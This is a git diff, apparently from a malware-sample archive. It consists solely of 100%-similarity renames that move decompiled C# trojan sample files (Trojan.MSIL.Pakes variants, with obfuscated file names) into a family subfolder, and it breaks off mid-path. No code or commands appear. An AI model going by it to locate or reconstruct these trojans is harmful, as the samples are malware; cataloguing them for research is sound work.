MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c0fd6042cf6163af5c5647fc1f5915949.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c20d0cffccd6dc5adbb96a36882476ba1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c20d0cffccd6dc5adbb96a36882476ba1.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c20d0cffccd6dc5adbb96a36882476ba1.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c20d0cffccd6dc5adbb96a36882476ba1.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/ceb562aff020f9bdc8cc736dbc668c704.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/ceb562aff020f9bdc8cc736dbc668c704.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/ceb562aff020f9bdc8cc736dbc668c704.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/ceb562aff020f9bdc8cc736dbc668c704.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Urds1z1wtoob4waskjjcwebqs.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Urds1z1wtoob4waskjjcwebqs.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Urds1z1wtoob4waskjjcwebqs.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Urds1z1wtoob4waskjjcwebqs.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/_003CModule_003E.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/_003CModule_003E.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/_003CModule_003E.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/_003CModule_003E.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/Token2000013.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/Token2000013.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/Token2000013.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/Token2000013.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/net b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/net similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/net rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/net diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/aHefnbF6KHz.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/aHefnbF6KHz.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/aHefnbF6KHz.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/aHefnbF6KHz.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/iagMifz5a6GqCE4rfTire.png b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/iagMifz5a6GqCE4rfTire.png similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/iagMifz5a6GqCE4rfTire.png rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/iagMifz5a6GqCE4rfTire.png diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.csproj similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.csproj rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.csproj diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.sln similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.sln rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.sln diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0002.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0002.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0002.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0002.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0003.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0003.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0003.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0003.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0005.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0005.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0005.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0005.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0006.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0006.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0006.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0006.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0008.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0008.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0008.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0008.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000E.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000E.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000E.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000E.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000F.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000F.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000F.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000F.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/zCom.resx b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/zCom.resx similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/zCom.resx rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/zCom.resx diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/             b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/             similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/             rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/             diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/AssemblyInfo.cs similarity index 100% rename from MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/AssemblyInfo.cs rename to MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/AssemblyInfo.cs diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FggaaqERw4/bpeaangBiXdtMncLbwcDgqA.cs 